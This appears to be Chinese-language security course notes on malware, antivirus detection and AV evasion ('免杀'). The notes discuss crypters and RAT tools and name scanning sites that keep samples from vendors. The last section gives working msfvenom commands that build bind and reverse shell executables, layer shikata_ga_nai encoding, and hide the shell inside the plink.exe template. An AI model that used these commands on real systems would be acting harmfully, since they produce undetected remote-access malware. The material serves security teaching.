恶意软件
– 病毒、木马、蠕虫、键盘记录、僵尸程序、流氓软件、勒索软件、广告程序
– 在用户非自愿的情况下执行安装
– 处于某种恶意的目的:控制、窃取、勒索、偷窥、推送、攻击............
防病毒软件
▪ 恶意程序最主要的防护手段
– 杀毒软件 / 防病毒软件
– 客户端 / 服务端 / 邮件防病毒
▪ 检测原理
– 基于二进制文件中特征签名的黑名单检测方法
– 基于行为的分析方法(启发式)
▪ 事后手段
– 永远落后于病毒发展
免杀技术
▪ 修改二进制文件中的特征字符
– 替换、擦除、修改
▪ 加密技术(crypter)
– 通过加密使得特征字符不可读,从而逃避AV检测
– 运行时分片分段的解密执行,注入进程或AV不检查的无害文件中
▪ 防病毒软件的检测
– 恶意程序本身的特征字符
– 加密器crypter的特征字符
当前现状
▪ 恶意软件制造者
– 编写私有RAT软件,避免普遍被AV所知的特征字符
– 使用独有crypter软件加密恶意程序
– 处事低调,尽量避免被发现
– 没有能力自己编写恶意代码的黑客,通过直接修改特征码的方式免杀
– Fully UnDetectable是最高追求(FUD)
▪ AV厂商
– 广泛采集样本,尽快发现新出现的程序,更新病毒库
– 一般新的恶意软件安全UD窗口期是一周左右
– 与恶意软件制造者永无休止的拉锯战
– 新的启发式检测技术尚有待万盏(误杀漏杀)
▪ 单一AV厂商的病毒库很难达到100%覆盖
– https://www.virustotal.com/
▪ 接口被某些国家的AV软件免费利用,没有自己的病毒库
– http://www.virscan.org/
– 在线多引擎查杀网站与AV厂商共享信息
– 搞黑的在线多引擎查毒站
▪ https://nodistribute.com/
▪ http://viruscheckmate.com/check/
▪ 常用RAT软件
– 灰鸽子、波尔、黑暗彗星、潘多拉、NanoCore
▪ 生成反弹shell
– msfvenom -p windows/shell/bind_tcp lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe
▪ 加密编码反弹shell
– msfvenom -p windows/shell/bind_tcp lhost=1.1.1.1 lport=4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -b '\x00' -f exe -o a.exe
▪ 比较编码前后的检测率
▪ 利用模板隐藏shell
– msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe
– msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe > b.exe
▪ 软件开发商为保护版权,采用的混淆和加密技术避免盗版逆向
▪ 常被恶意软件用于免杀目的